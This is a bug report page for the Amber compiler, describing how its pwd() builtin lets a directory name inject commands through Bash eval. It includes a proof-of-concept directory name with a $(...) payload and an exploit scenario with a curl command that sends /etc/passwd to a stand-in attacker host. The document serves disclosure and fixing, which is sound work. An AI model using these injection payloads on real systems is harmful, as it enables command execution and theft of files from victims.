[Detail Bug] Amber: `pwd()` can trigger command execution when used via `ref`/`eval` in generated Bash
- Lenguaje dominante
- Rust
- Estrellas
- 5.2k
- Forks
- 145
- Merge medio
- 5 d 3 h
- PR fusionados (30 d)
- 7
Descripción
# Summary
- **Context**: The `pwd()` builtin in Amber is intended to return the current working directory as a `Text` value by accessing the `$PWD` environment variable in the generated Bash script.
- **Bug**: The `pwd()` builtin translates to a `RawFragment` containing a literal `"$PWD"` string, which is assigned to an ephemeral variable that is later inlined by the compiler. When this is used in an `eval` context (such as when passing a variable by reference), it allows for arbitrary command execution.
- **Actual vs. expected**: Instead of returning the current directory safely, `pwd()` returns a raw string that is re-evaluated by the shell in `eval` contexts.
- **Impact**: Arbitrary command execution can occur if an attacker can control the current directory name (e.g., by creating a directory with a name like `$(touch exploit)`).
# Code with bug
```rust
// src/modules/builtin/pwd.rs
impl TranslateModule for Pwd {
fn translate(&self, meta: &mut TranslateMetadata) -> FragmentKind {
let id = meta.gen_value_id();
let var_stmt =
VarStmtFragment::new("__pwd", Type::Text, raw_fragment!("\"$PWD\"")).with_global_id(id); // <-- BUG 🔴 Uses raw string that is vulnerable to double expansion in eval contexts
meta.push_ephemeral_variable(var_stmt).to_frag()
}
}
```
# Evidence
### 1. Reproduction Script
An Amber script `repro.ab` that uses `pwd()` in an `eval` context by passing a variable by reference:
```amber
fun exploit(ref x: Text) {
x = pwd()
}
let result = ""
exploit(result)
echo(result)
```
### 2. Exploitation Proof
Creating a directory with a malicious name and running the compiled script demonstrates the vulnerability:
```bash
$ mkdir -p "/tmp/\$(echo Exploit-Executed! >&2)"
$ cd "/tmp/\$(echo Exploit-Executed! >&2)"
$ amber build repro.ab repro.sh
$ bash repro.sh
Exploit-Executed!
/tmp/
```
The message `Exploit-Executed!` is printed to stderr, proving that the command inside the directory name was executed by the script.
### 3. Root Cause Analysis
The generated Bash code for the `exploit` function is:
```bash
exploit__0_v0() {
local x_2="${1}"
eval "${x_2}="$PWD""
}
```
In Bash, `eval` performs one level of expansion. Since `"$PWD"` is literally in the `eval` string (due to compiler inlining of the ephemeral variable), its value (the current directory path) is expanded, and then the resulting string is parsed and executed by `eval`. If the path contains `$(...)`, it is executed as a command.
# Exploit scenario
1. An attacker creates a directory with a malicious name, e.g., `/tmp/$(curl -X POST -d @/etc/passwd http://attacker.com)`.
2. A victim runs an Amber script that uses `pwd()` and passes the result to a function by reference (or uses it in any context that triggers an `eval` in the generated Bash).
3. The victim `cd`s into the malicious directory and runs the script.
4. The malicious command is executed with the victim's privileges.
# Why has this bug gone undetected?
Using `pwd()` in combination with `ref` arguments is a specific pattern that triggers `eval` in the generated Bash. Additionally, most users do not have directory names containing shell-sensitive characters like `$()`, so the bug only manifests in adversarial scenarios.
# Recommended fix
The `pwd()` builtin should ensure its value is not inlined as a raw string into `eval` contexts. A safer approach is to assign `$PWD` to a variable and then reference that variable, or to escape the contents.
```rust
// Proposed fix in src/modules/builtin/pwd.rs
VarStmtFragment::new("__pwd", Type::Text, raw_fragment!("$PWD")).with_global_id(id) // <-- FIX 🟢 Avoids literal quotes in raw fragment, allowing safer expansion
```
# History
This bug was introduced in commit 75a5702 (@kryske, 2026-01-31, PR #996). The commit added several new builtins, including `pwd()`, but incorrectly used a `raw_fragment!` containing `$PWD` for its implementation, leading to unsafe expansion in shell `eval` contexts.
Guía de contribución
No hay ninguna guía de contribución indexada para este repositorio
Evaluación
Este issue todavía no se ha evaluado.